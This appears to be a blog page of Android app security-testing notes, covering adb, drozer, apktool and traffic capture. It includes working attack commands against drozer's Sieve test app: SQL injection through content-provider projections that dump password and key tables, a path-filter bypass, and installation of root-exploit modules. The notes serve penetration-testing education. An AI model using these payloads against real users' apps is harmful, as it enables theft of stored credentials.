Android Security Testing Tips

adb and drozer usage examples

adb http://developer.android.com/tools/help/adb.html

drozer https://labs.mwrinfosecurity.com/tools/drozer/

Create your very first Android emulator (emulator too slow, run native on rooted device)

$ android sdk

create a KitKat emulator by running the Android Virtual Device (AVD) Manager

$ android avd

List available AVDs for emulator

$ emulator -list-avds
Nexus5
Nexus4
kitkat

Start emulator

$ emulator -avd kitkat

adb to emulator

List connected devices

$ adb devices

Get shell on device

$ adb -s device_id shell

Install an Android app

$ adb install tmp/my.apk

Forward a TCP port on the local host to a port on the device

$ adb forward tcp:<local_port> tcp:<device_port>

Device logs

$ adb logcat

adb to hardware

If you try to access a new physical phone using adb you will see this message

$ adb shell
error: insufficient permissions for device

Figure out the phones manufacturer ID

$ lsusb
Bus 002 Device 030: ID 0bb4:0ced HTC (High Tech Computer Corp.)

Change udev permission in linux for hardware (phone)

Create a new udev rule file, add a rule for obb4

# vi /etc/udev/rules.d/51-android.rules
SUBSYSTEM=="usb", ATTR{idVendor}=="0bb4", MODE="0666", GROUP="plugdev"

Restart udev and remove, insert phone

# /etc/init.d/udev restart

Accept permission on phone to allow access from adb

Check adb permission

$ adb devices
List of devices attached
HT24LW309683    device

Installing drozer

Install drozer by git clone and python setup.py install. This method worked best for me on Kali 2
Download drozer agent from site https://github.com/mwrlabs/drozer

git clone https://github.com/mwrlabs/drozer

Add jdk 1.6.0 and dx to path

$ vi .bashrc
 export PATH="/home/user/projects/jdk1.6.0_45/bin:/home/user/Android/Sdk/build-tools/23.0.2:$PATH:/home/user/Android/Sdk/platform-tools:/home/user/Android/Sdk/tools:/home/user/projects/drozer/src/drozer/lib"

Install agent on emulator or physical device

$ adb install agent.apk

Need to forward drozer ports

$ adb forward tcp:31415 tcp:31415

Start drozer agent on device or emulator and flick ‘On’ switch

Run drozer console

$ drozer console connect

Install new drozer modules

dz> module install root
Processing metall0id.root.cmdclient... Done.
Processing metall0id.root.exynosmem... Done.
Processing metall0id.root.huaweip2... Done.
Processing metall0id.root.mmap... Done.
Processing metall0id.root.scanner_check... Done.
Processing metall0id.root.towelroot... Done.
Processing metall0id.root.ztesyncagent... Done.

Successfully installed 7 modules, 0 already installed.

Example how to open a browser from drozer

dz> run app.activity.start --action android.intent.action.VIEW --data-uri http://www.google.com --component com.android.browser com.android.browser.BrowserActivity

Querying the system settings

dz> run app.provider.query content://settings/system

list apk from adb shell

root@generic:/ # pm list packages |grep myapp
package:com.myapp

or using drozer

dz> run app.package.info -a com.myapp
 Package: com.myapp
 Application Label: Myapp
 Process Name: com.myapp
 Version: 1.1
 Data Directory: /data/data/com.myapp
 APK Path: /data/app/com.myapp-1.apk
 UID: 10053
 GID: [...]
 Shared Libraries: null
 Shared User ID: null
 Uses Permissions:
 - android.permission.INTERNET
 - android.permission.ACCESS_NETWORK_STATE
 - android.permission.WRITE_EXTERNAL_STORAGE
 - android.permission.READ_EXTERNAL_STORAGE
 - android.permission.READ_PHONE_STATE
...
Defines Permissions:
 - com.myapp.permission.RECEIVE_ADM_MESSAGE
 - com.myapp.permission.UA_DATA
root@generic:/ # ls -la /data/data/*myapp
lrwxrwxrwx install install 2016-03-28 17:02 lib -> /data/app-lib/com.myapp-1

Shared userid

dz> run app.package.shareduid -u 10053
UID: 10053 (com.myapp)
Package: com.myapp
Permissions: android.permission.GET_TASKS, android.permission.READ_PHONE_STATE, android.permission.CHANGE_WIFI_STATE, android.permission.ACCESS_FINE_LOCATION, android.permission.WRITE_SETTINGS, android.permission.CAMERA, android.permission.WAKE_LOCK, android.permission.GET_ACCOUNTS, 
...

Use drozer to search for a pack by its label

dz> run app.package.list -f "Terminal Emulator"

dz> run app.package.list -f "myapp"
 com.myapp (myapp)

Get path of apk

127|root@generic:/ # pm path com.myapp
package:/data/app/com.myapp-1.apk

Dowload and install apks outside of Google Playstore, but look out for malware

https://apkpure.com/search?

Dump manifest file from apk using aapt

user@kali:~$ aapt dump xmltree ./myapp.apk AndroidManifest.xml
 N: android=http://schemas.android.com/apk/res/android
 N: amazon=http://schemas.amazon.com/apk/res/android
 E: manifest (line=2)
 A: android:versionCode(0x0101021b)=(type 0x10)0x5
REDACTED
…

Convert apk back to jar

$ ./d2j-dex2jar.sh /path/to/agent.apk -o /output/to/agent.jar

Apktool to reverse-engineer an entire Android package back to a workable form

Download apktool from http://ibotpeaches.github.io/Apktool/install/

user@kali:~$ java -jar /usr/bin/apktool_2.1.0.jar d myapp.apk -o myapp-apktool.output
 I: Using Apktool 2.1.0 on myapp.apk
 I: Loading resource table...
 I: Decoding AndroidManifest.xml with resources...
 I: Loading resource table from file: /home/user/apktool/framework/1.apk
 I: Regular manifest package...
 I: Decoding file-resources...
 I: Decoding values */* XMLs...
 I: Baksmaling classes.dex...
 I: Copying assets and libs...
 I: Copying unknown files...
 I: Copying original files...

Look for application exported components

user@kali:~$ grep -C 3 exported myapp/myapp-drozer.manifest
 …
 <provider name="com.someappProvider"
 permission="com.myapp.permission.UA_DATA"
 exported="true"
 multiprocess="true"
 authorities="com.myapp.provider">
 </provider>
 …

Implicitly Exported
Any component that makes use of an <intent-filter> is exported by default.

user@kali:~$ grep -C 3 intent-filter myapp-drozer.manifest |head
 label="@21314274324"
 name="com.myapp.Activity"
 screenOrientation="1">
 <intent-filter>
 <action name="android.intent.action.MAIN">
 </action>
 <category name="android.intent.category.LAUNCHER">
 </category>
 </intent-filter>

Using drozer

dz> run app.package.attacksurface com.myapp
Attack Surface:
3 activities exported
2 broadcast receivers exported
2 content providers exported
0 services exported
is debuggable

 

dz> run app.provider.info -a com.myapp
Package: com.myapp
Authority: com.myapp.someapp.provider
Read Permission: com.myapp.permission.UA_DATA
Write Permission: com.myapp.permission.UA_DATA
Content Provider: com.someapp.Provider
Multiprocess Allowed: True
Grant Uri Permissions: False

 

dz> run app.activity.info -a com.myapp
 Package: com.myapp
 com.myapp.Activity
 Permission: null
 com.myapp.inbox.InboxActivity
 Permission: null
 com.myapp.preference.PushPreferencesActivity
 Permission: null
 com.myapp.ParseDeepLinkActivity
 Permission: null

 

dz> run app.broadcast.info -a com.myapp
 Package: com.myapp
 com.google.android.gcm.GCMBroadcastReceiver
 Permission: com.google.android.c2dm.permission.SEND
 com.myapp.util.IncomingCall
 Permission: null
 com.someotherapp.main.Receiver
 Permission: null
 com.myapp.widget.RichPushWidgetProvider
 Permission: null
 com.someapp.push.PushReceiver
 Permission: com.google.android.c2dm.permission.SEND
 com.someapp.push.PushReceiver
 Permission: com.amazon.device.messaging.permission.SEND

Applications signed with same certificate can access this service

 dz> run information.permissions --permission com.myapp.permission.UA_DATA
 No description
 2 – signature

Intent matching is kind of like mime type matching.
Three categories of filtering exist, Action, Data, and Category.

Sieve is a test app which is made available with drozer.

Sieve assessment example

 dz> run app.package.attacksurface com.mwr.example.sieve
 Attack Surface:
 3 activities exported
 0 broadcast receivers exported
 2 content providers exported
 2 services exported
 is debuggable

There are three main attack surface categories to look for in an Android app

  • activities (screens used by the app)
  • content providers (database objects)
  • services (background workers)
dz> run app.activity.info -a com.mwr.example.sieve
 Package: com.mwr.example.sieve
 com.mwr.example.sieve.FileSelectActivity
 Permission: null
 com.mwr.example.sieve.MainLoginActivity
 Permission: null
 com.mwr.example.sieve.PWList
 Permission: null

 

dz> run app.package.launchintent com.mwr.example.sieve
 Launch Intent:
 Action: android.intent.action.MAIN
 Component:
 {com.mwr.example.sieve/com.mwr.example.sieve.MainLoginActivity}
 Data: null
 Categories:
 - android.intent.category.LAUNCHER
 Flags: [ACTIVITY_NEW_TASK]
 Mime Type: null
 Extras: null

Starting an app’s activity (view)

dz> run app.activity.start --component <package_name> <full_activity_name>

becomes

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

Providers (database)

dz> run app.provider.info -a com.mwr.example.sieve
 Package: com.mwr.example.sieve
 Authority: com.mwr.example.sieve.DBContentProvider
 Read Permission: null
 Write Permission: null
 Content Provider: com.mwr.example.sieve.DBContentProvider
 Multiprocess Allowed: True
 Grant Uri Permissions: False
 Path Permissions:
 Path: /Keys
 Type: PATTERN_LITERAL
 Read Permission: com.mwr.example.sieve.READ_KEYS
 Write Permission: com.mwr.example.sieve.WRITE_KEYS
 Authority: com.mwr.example.sieve.FileBackupProvider
 Read Permission: null
 Write Permission: null
 Content Provider: com.mwr.example.sieve.FileBackupProvider
 Multiprocess Allowed: True
 Grant Uri Permissions: False

drozer can automatically assess possible providers

dz> run scanner.provider.finduris -a com.mwr.example.sieve
 Scanning com.mwr.example.sieve... Unable to Query content://com.mwr.example.sieve.DBContentProvider/ ... Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys Accessible content URIs: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/

Again looking for activities but -u option provides more info. ‘null’ indicates not protected.

dz> run app.activity.info -a com.mwr.example.sieve -u
 Package: com.mwr.example.sieve
 Exported Activities:
 com.mwr.example.sieve.FileSelectActivity
 Permission: null
 com.mwr.example.sieve.MainLoginActivity
 Permission: null
 com.mwr.example.sieve.PWList
 Permission: null
 Hidden Activities:
 com.mwr.example.sieve.SettingsActivity
 Permission: null
 com.mwr.example.sieve.AddEntryActivity
 Permission: null
 com.mwr.example.sieve.ShortLoginActivity
 Permission: null
 com.mwr.example.sieve.WelcomeActivity
 Permission: null
 com.mwr.example.sieve.PINActivity
 Permission: null

Call UI settings

root@generic:/ # am start -n com.mwr.example.sieve/.SettingsActivity

Unprotected Content Providers
Can processes access insights data store (provider)?

dz> run app.provider.info -a com.myapp

Accessing the content provider.

dz> run app.provider.finduri com.myapp
Scanning com.myapp...
content://com.google.android.gms.games
content://com.myapp.someapp.provider
Do we have permission to access an apps provider?
dz> run app.provider.query content://com.myapp.someapp.provider
Permission Denial: opening provider com.someapp.Provider from ProcessRecord{b2032700 1002:com.mwr.dz:remote/u0a54} (pid=1002, uid=10054) requires com.myapp.permission.UA_DATA or com.myapp.permission.UA_DATA

Insert data into Sieve’s provider

dz> run app.provider.insert content://com.mwr.example.sieve.DBContentProvider/Passwords --integer _id 3 --string service Facebook --string username tyrone --string password zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T --string email tyrone@gmail.com

Run a query

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords | _id | service | username | password | email | | 1 | service1 | username | GJq0ZqHvADw4Ep3vCXk4TG3rahc18N/D (Base64-encoded) | myemail@domain.com |
 | 3 | Facebook | tyrone | zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T | tyrone@gmail.com |

SQL injection

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "* from sqlite_master--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) |
 | table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
 | table | Key | Key | 5 | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT ) |
 | index | sqlite_autoindex_Key_1 | Key | 6 | null

And again

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "* from Key--"
| Password | pin |
| 1234567890abcdef | 1234 |

Key was provider path which relates to table name

Using drozer module to discover sqlinjection vuln.

dz> run scanner.provider.injection -a content://com.mwr.example.sieve.DBContentProvider/Passwords
Not Vulnerable:
No non-vulnerable URIs found.
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Passwords
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Passwords

Providers can be protected with path filtering. Sieve uses filtering with /Keys but replacing this with /Keys/ bypasses filter.

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
| Password | pin |
| Thisismylongpassword123 | 1234 |

Exported services

dz> run app.service.info -a com.myapp
Package: com.myapp
No exported services.

Search for unprotected broadcast receivers

dz> run app.broadcast.info -a com.myapp
Package: com.myapp
<REDACTED>

Verify an apk’s cert using jarsigner

user@kali:~$ jarsigner -certs -verbose -verify myapp.apk > myapp_cert-verify.txt

Or use keytool on extracted cert

user@kali:~/$ keytool -printcert -file META-INF/CERT.RSA
 Owner: CN=something, OU=something, O=something, L=something, ST=something, C=something
 Issuer: CN=else, OU=else, O=, L=, ST=, C=
 Serial number: 434324
 Valid from: Sun Jan 03 22:00:12 PDT 2012 until: Mon May 11 11:11:11 PDT 2014
 Certificate fingerprints:
 MD5: REDACTED
 SHA1: REDACTED
 Signature algorithm name: SHA256withRSA
 Version: 3
Extensions:
#1: ObjectId: 2.5.29.14 Criticality=false
 SubjectKeyIdentifier [
 KeyIdentifier [
 0000: REDACTED
 ]
 ]

Or you can use openssl

user@kali:~/$ openssl pkcs7 -inform DER -in META-INF/CERT.RSA -

List all installed packages

dz> run app.package.list -p android.permission.INSTALL_PACKAGES
 com.android.vending (Google Play Store)
 com.android.shell (Shell)
...

Can you backup the app to an SD card?

dz> run app.package.backup -f com.myapp
 Package: com.myapp
 UID: 10022
 Backup Agent: null
 API Key: Unknown

And

user@kali:~$ adb backup com.myapp
 Now unlock your device and confirm the backup operation.

Backup will be on the SD card so use adb pull command to retrieve.

Then need to convert ab file to tar format for easy extraction

user@kali:~/$ dd if=backup.ab bs=1 skip=24 | python -c "import zlib,sys; sys.stdout.write(zlib.decompress(sys.stdin.read()))" > backup.tar

Is the apk debuggable?

dz> run app.package.debuggable
 Package: com.mwr.dz
 UID: 10115
 Permissions:
 - android.permission.INTERNET

or

dz> run exploit.jdwp.check
 [-] @jdwp-control already in use
 [*] Possible reasons for failure:
 # USB debugging is enabled
 # Port is still open from previous attempt

Decompiling

  • Code review jar files with JD-GUI
  • APK Studio is a nice gui which will decompile, edit and recompile.
  • Reversing an apk can be accomplished using apktoolMake sure you have Java sdk greater than 1.7.x. On my system my default java was pointing to version 1.6.x because of drozer’s dependency so I had ensure apktool was invoked with the absolute path of the correct java version
    $ /usr/bin/java -jar /usr/bin/apktool.jar d myapp.apk -f

Traffic Capture

Packet capture using tcpdump. -s 0 prevents packet truncation.

# tcpdump -s 0 -w /data/local/tmp/dump.cap

Web traffic

Configure an Android device to proxy web traffic

Configure Android to use a proxy

and

install Burp’s ca certificate

Start gui app from adbStart gui app from adb shell
Values obtained from apk manifest file
com.mypackage = package
com.myapp.ui.activity.SplashActivity = activity android name (search for android.intent.action.MAIN)

# am start -n com.mypackage /com.myapp.ui.activity.SplashActivity

References

The mobile application hacker’s handbook

Androguard for code analysis

adb setup on a device

Attacking Android Applications With Debuggers

Linux distro images

Santoku

TODO:

If I have time I’ll do a proper write up of an actual Android app assessment with detailed methodology.

Thank you